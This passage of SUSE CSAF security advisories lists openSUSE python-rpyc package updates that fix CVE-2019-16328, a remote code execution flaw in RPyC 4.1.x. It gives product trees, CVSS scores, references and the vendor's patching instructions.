"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python38-rpyc-4.1.5-2.7.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.s390x"
},
"product_reference": "python38-rpyc-4.1.5-2.7.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python38-rpyc-4.1.5-2.7.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.x86_64"
},
"product_reference": "python38-rpyc-4.1.5-2.7.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python39-rpyc-4.1.5-2.7.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.aarch64"
},
"product_reference": "python39-rpyc-4.1.5-2.7.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python39-rpyc-4.1.5-2.7.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.ppc64le"
},
"product_reference": "python39-rpyc-4.1.5-2.7.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python39-rpyc-4.1.5-2.7.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.s390x"
},
"product_reference": "python39-rpyc-4.1.5-2.7.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python39-rpyc-4.1.5-2.7.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.x86_64"
},
"product_reference": "python39-rpyc-4.1.5-2.7.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2019-16328",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2019-16328"
}
],
"notes": [
{
"category": "general",
"text": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.aarch64",
"openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.ppc64le",
"openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.s390x",
"openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.x86_64",
"openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.aarch64",
"openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.ppc64le",
"openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.s390x",
"openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.x86_64",
"openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.aarch64",
"openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.ppc64le",
"openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.s390x",
"openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2019-16328",
"url": "https://www.suse.com/security/cve/CVE-2019-16328"
},
{
"category": "external",
"summary": "SUSE Bug 1152987 for CVE-2019-16328",
"url": "https://bugzilla.suse.com/1152987"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.aarch64",
"openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.ppc64le",
"openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.s390x",
"openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.x86_64",
"openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.aarch64",
"openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.ppc64le",
"openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.s390x",
"openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.x86_64",
"openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.aarch64",
"openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.ppc64le",
"openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.s390x",
"openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.aarch64",
"openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.ppc64le",
"openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.s390x",
"openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.x86_64",
"openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.aarch64",
"openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.ppc64le",
"openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.s390x",
"openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.x86_64",
"openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.aarch64",
"openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.ppc64le",
"openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.s390x",
"openSUSE Tumbleweed:python39-rpyc-4.1.5-2.7.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2024-06-15T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2019-16328"
}
]
}
OPENSUSE-SU-2024:14162-1
Vulnerability from csaf_opensuse - Published: 2024-07-12 00:00 - Updated: 2024-07-12 00:00Summary
python310-rpyc-6.0.0-1.2 on GA media
Severity
Moderate
Notes
Title of the patch: python310-rpyc-6.0.0-1.2 on GA media
Description of the patch: These are all security issues fixed in the python310-rpyc-6.0.0-1.2 package on the GA media of openSUSE Tumbleweed.
Patchnames: openSUSE-Tumbleweed-2024-14162
Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).
7.5 (High)
Vendor Fix
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
References
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "python310-rpyc-6.0.0-1.2 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the python310-rpyc-6.0.0-1.2 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2024-14162",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2024_14162-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2019-16328 page",
"url": "https://www.suse.com/security/cve/CVE-2019-16328/"
}
],
"title": "python310-rpyc-6.0.0-1.2 on GA media",
"tracking": {
"current_release_date": "2024-07-12T00:00:00Z",
"generator": {
"date": "2024-07-12T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2024:14162-1",
"initial_release_date": "2024-07-12T00:00:00Z",
"revision_history": [
{
"date": "2024-07-12T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "python310-rpyc-6.0.0-1.2.aarch64",
"product": {
"name": "python310-rpyc-6.0.0-1.2.aarch64",
"product_id": "python310-rpyc-6.0.0-1.2.aarch64"
}
},
{
"category": "product_version",
"name": "python311-rpyc-6.0.0-1.2.aarch64",
"product": {
"name": "python311-rpyc-6.0.0-1.2.aarch64",
"product_id": "python311-rpyc-6.0.0-1.2.aarch64"
}
},
{
"category": "product_version",
"name": "python312-rpyc-6.0.0-1.2.aarch64",
"product": {
"name": "python312-rpyc-6.0.0-1.2.aarch64",
"product_id": "python312-rpyc-6.0.0-1.2.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "python310-rpyc-6.0.0-1.2.ppc64le",
"product": {
"name": "python310-rpyc-6.0.0-1.2.ppc64le",
"product_id": "python310-rpyc-6.0.0-1.2.ppc64le"
}
},
{
"category": "product_version",
"name": "python311-rpyc-6.0.0-1.2.ppc64le",
"product": {
"name": "python311-rpyc-6.0.0-1.2.ppc64le",
"product_id": "python311-rpyc-6.0.0-1.2.ppc64le"
}
},
{
"category": "product_version",
"name": "python312-rpyc-6.0.0-1.2.ppc64le",
"product": {
"name": "python312-rpyc-6.0.0-1.2.ppc64le",
"product_id": "python312-rpyc-6.0.0-1.2.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "python310-rpyc-6.0.0-1.2.s390x",
"product": {
"name": "python310-rpyc-6.0.0-1.2.s390x",
"product_id": "python310-rpyc-6.0.0-1.2.s390x"
}
},
{
"category": "product_version",
"name": "python311-rpyc-6.0.0-1.2.s390x",
"product": {
"name": "python311-rpyc-6.0.0-1.2.s390x",
"product_id": "python311-rpyc-6.0.0-1.2.s390x"
}
},
{
"category": "product_version",
"name": "python312-rpyc-6.0.0-1.2.s390x",
"product": {
"name": "python312-rpyc-6.0.0-1.2.s390x",
"product_id": "python312-rpyc-6.0.0-1.2.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "python310-rpyc-6.0.0-1.2.x86_64",
"product": {
"name": "python310-rpyc-6.0.0-1.2.x86_64",
"product_id": "python310-rpyc-6.0.0-1.2.x86_64"
}
},
{
"category": "product_version",
"name": "python311-rpyc-6.0.0-1.2.x86_64",
"product": {
"name": "python311-rpyc-6.0.0-1.2.x86_64",
"product_id": "python311-rpyc-6.0.0-1.2.x86_64"
}
},
{
"category": "product_version",
"name": "python312-rpyc-6.0.0-1.2.x86_64",
"product": {
"name": "python312-rpyc-6.0.0-1.2.x86_64",
"product_id": "python312-rpyc-6.0.0-1.2.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "python310-rpyc-6.0.0-1.2.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.aarch64"
},
"product_reference": "python310-rpyc-6.0.0-1.2.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python310-rpyc-6.0.0-1.2.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.ppc64le"
},
"product_reference": "python310-rpyc-6.0.0-1.2.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python310-rpyc-6.0.0-1.2.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.s390x"
},
"product_reference": "python310-rpyc-6.0.0-1.2.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python310-rpyc-6.0.0-1.2.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.x86_64"
},
"product_reference": "python310-rpyc-6.0.0-1.2.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-rpyc-6.0.0-1.2.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.aarch64"
},
"product_reference": "python311-rpyc-6.0.0-1.2.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-rpyc-6.0.0-1.2.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.ppc64le"
},
"product_reference": "python311-rpyc-6.0.0-1.2.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-rpyc-6.0.0-1.2.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.s390x"
},
"product_reference": "python311-rpyc-6.0.0-1.2.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-rpyc-6.0.0-1.2.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.x86_64"
},
"product_reference": "python311-rpyc-6.0.0-1.2.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python312-rpyc-6.0.0-1.2.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.aarch64"
},
"product_reference": "python312-rpyc-6.0.0-1.2.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python312-rpyc-6.0.0-1.2.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.ppc64le"
},
"product_reference": "python312-rpyc-6.0.0-1.2.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python312-rpyc-6.0.0-1.2.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.s390x"
},
"product_reference": "python312-rpyc-6.0.0-1.2.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python312-rpyc-6.0.0-1.2.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.x86_64"
},
"product_reference": "python312-rpyc-6.0.0-1.2.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2019-16328",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2019-16328"
}
],
"notes": [
{
"category": "general",
"text": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.aarch64",
"openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.ppc64le",
"openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.s390x",
"openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.x86_64",
"openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.aarch64",
"openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.ppc64le",
"openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.s390x",
"openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.x86_64",
"openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.aarch64",
"openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.ppc64le",
"openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.s390x",
"openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2019-16328",
"url": "https://www.suse.com/security/cve/CVE-2019-16328"
},
{
"category": "external",
"summary": "SUSE Bug 1152987 for CVE-2019-16328",
"url": "https://bugzilla.suse.com/1152987"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.aarch64",
"openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.ppc64le",
"openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.s390x",
"openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.x86_64",
"openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.aarch64",
"openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.ppc64le",
"openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.s390x",
"openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.x86_64",
"openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.aarch64",
"openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.ppc64le",
"openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.s390x",
"openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.aarch64",
"openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.ppc64le",
"openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.s390x",
"openSUSE Tumbleweed:python310-rpyc-6.0.0-1.2.x86_64",
"openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.aarch64",
"openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.ppc64le",
"openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.s390x",
"openSUSE Tumbleweed:python311-rpyc-6.0.0-1.2.x86_64",
"openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.aarch64",
"openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.ppc64le",
"openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.s390x",
"openSUSE Tumbleweed:python312-rpyc-6.0.0-1.2.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2024-07-12T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2019-16328"
}
]
}
OPENSUSE-SU-2020:0763-1
Vulnerability from csaf_opensuse - Published: 2020-06-03 08:44 - Updated: 2020-06-03 08:44Summary
Security update for python-rpyc
Severity
Moderate
Notes
Title of the patch: Security update for python-rpyc
Description of the patch: This update for python-rpyc to 4.1.5 fixes the following issues:
Security issue fixed:
- CVE-2019-16328: Fixed a missing protocol security check that could have led to code execution (boo#1152987).
This update was imported from the openSUSE:Leap:15.1:Update update project.
Patchnames: openSUSE-2020-763
Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).
7.5 (High)
Vendor Fix
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
References
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Security update for python-rpyc",
"title": "Title of the patch"
},
{
"category": "description",
"text": "This update for python-rpyc to 4.1.5 fixes the following issues:\n\nSecurity issue fixed:\n\n- CVE-2019-16328: Fixed a missing protocol security check that could have led to code execution (boo#1152987).\n\nThis update was imported from the openSUSE:Leap:15.1:Update update project.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-2020-763",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2020_0763-1.json"
},
{
"category": "self",
"summary": "URL for openSUSE-SU-2020:0763-1",
"url": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/P2P2Z5TQ7S4G5GV2BXHOSEUU7WD6ISPM/"
},
{
"category": "self",
"summary": "E-Mail link for openSUSE-SU-2020:0763-1",
"url": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/P2P2Z5TQ7S4G5GV2BXHOSEUU7WD6ISPM/"
},
{
"category": "self",
"summary": "SUSE Bug 1152987",
"url": "https://bugzilla.suse.com/1152987"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2019-16328 page",
"url": "https://www.suse.com/security/cve/CVE-2019-16328/"
}
],
"title": "Security update for python-rpyc",
"tracking": {
"current_release_date": "2020-06-03T08:44:19Z",
"generator": {
"date": "2020-06-03T08:44:19Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2020:0763-1",
"initial_release_date": "2020-06-03T08:44:19Z",
"revision_history": [
{
"date": "2020-06-03T08:44:19Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "python2-rpyc-4.1.5-bp151.2.3.1.noarch",
"product": {
"name": "python2-rpyc-4.1.5-bp151.2.3.1.noarch",
"product_id": "python2-rpyc-4.1.5-bp151.2.3.1.noarch"
}
},
{
"category": "product_version",
"name": "python3-rpyc-4.1.5-bp151.2.3.1.noarch",
"product": {
"name": "python3-rpyc-4.1.5-bp151.2.3.1.noarch",
"product_id": "python3-rpyc-4.1.5-bp151.2.3.1.noarch"
}
}
],
"category": "architecture",
"name": "noarch"
},
{
"branches": [
{
"category": "product_name",
"name": "SUSE Package Hub 15 SP1",
"product": {
"name": "SUSE Package Hub 15 SP1",
"product_id": "SUSE Package Hub 15 SP1"
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "python2-rpyc-4.1.5-bp151.2.3.1.noarch as component of SUSE Package Hub 15 SP1",
"product_id": "SUSE Package Hub 15 SP1:python2-rpyc-4.1.5-bp151.2.3.1.noarch"
},
"product_reference": "python2-rpyc-4.1.5-bp151.2.3.1.noarch",
"relates_to_product_reference": "SUSE Package Hub 15 SP1"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python3-rpyc-4.1.5-bp151.2.3.1.noarch as component of SUSE Package Hub 15 SP1",
"product_id": "SUSE Package Hub 15 SP1:python3-rpyc-4.1.5-bp151.2.3.1.noarch"
},
"product_reference": "python3-rpyc-4.1.5-bp151.2.3.1.noarch",
"relates_to_product_reference": "SUSE Package Hub 15 SP1"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2019-16328",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2019-16328"
}
],
"notes": [
{
"category": "general",
"text": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"SUSE Package Hub 15 SP1:python2-rpyc-4.1.5-bp151.2.3.1.noarch",
"SUSE Package Hub 15 SP1:python3-rpyc-4.1.5-bp151.2.3.1.noarch"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2019-16328",
"url": "https://www.suse.com/security/cve/CVE-2019-16328"
},
{
"category": "external",
"summary": "SUSE Bug 1152987 for CVE-2019-16328",
"url": "https://bugzilla.suse.com/1152987"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"SUSE Package Hub 15 SP1:python2-rpyc-4.1.5-bp151.2.3.1.noarch",
"SUSE Package Hub 15 SP1:python3-rpyc-4.1.5-bp151.2.3.1.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"SUSE Package Hub 15 SP1:python2-rpyc-4.1.5-bp151.2.3.1.noarch",
"SUSE Package Hub 15 SP1:python3-rpyc-4.1.5-bp151.2.3.1.noarch"
]
}
],
"threats": [
{
"category": "impact",
"date": "2020-06-03T08:44:19Z",
"details": "important"
}
],
"title": "CVE-2019-16328"
}
]
}
OPENSUSE-SU-2020:0685-1
Vulnerability from csaf_opensuse - Published: 2020-05-22 16:17 - Updated: 2020-05-22 16:17Summary
Security update for python-rpyc
Severity
Moderate
Notes
Title of the patch: Security update for python-rpyc
Description of the patch: This update for python-rpyc to 4.1.5 fixes the following issues:
Security issue fixed:
- CVE-2019-16328: Fixed a missing protocol security check that could have led to code execution (boo#1152987).
Patchnames: openSUSE-2020-685
Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).
7.5 (High)
Vendor Fix
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
References
| URL | Category | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Security update for python-rpyc",
"title": "Title of the patch"
},
{
"category": "description",
"text": "This update for python-rpyc to 4.1.5 fixes the following issues:\n\nSecurity issue fixed:\n\n- CVE-2019-16328: Fixed a missing protocol security check that could have led to code execution (boo#1152987).\n",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-2020-685",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2020_0685-1.json"
},
{
"category": "self",
"summary": "URL for openSUSE-SU-2020:0685-1",
"url": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/YHUKBLKWZWODQKPCVHXLQCUVGYXZ2GNZ/"
},
{
"category": "self",
"summary": "E-Mail link for openSUSE-SU-2020:0685-1",
"url": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/YHUKBLKWZWODQKPCVHXLQCUVGYXZ2GNZ/"
},
{
"category": "self",
"summary": "SUSE Bug 1152987",
"url": "https://bugzilla.suse.com/1152987"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2019-16328 page",
"url": "https://www.suse.com/security/cve/CVE-2019-16328/"
}
],
"title": "Security update for python-rpyc",
"tracking": {
"current_release_date": "2020-05-22T16:17:42Z",
"generator": {
"date": "2020-05-22T16:17:42Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2020:0685-1",
"initial_release_date": "2020-05-22T16:17:42Z",
"revision_history": [
{
"date": "2020-05-22T16:17:42Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "python2-rpyc-4.1.5-lp151.3.3.1.noarch",
"product": {
"name": "python2-rpyc-4.1.5-lp151.3.3.1.noarch",
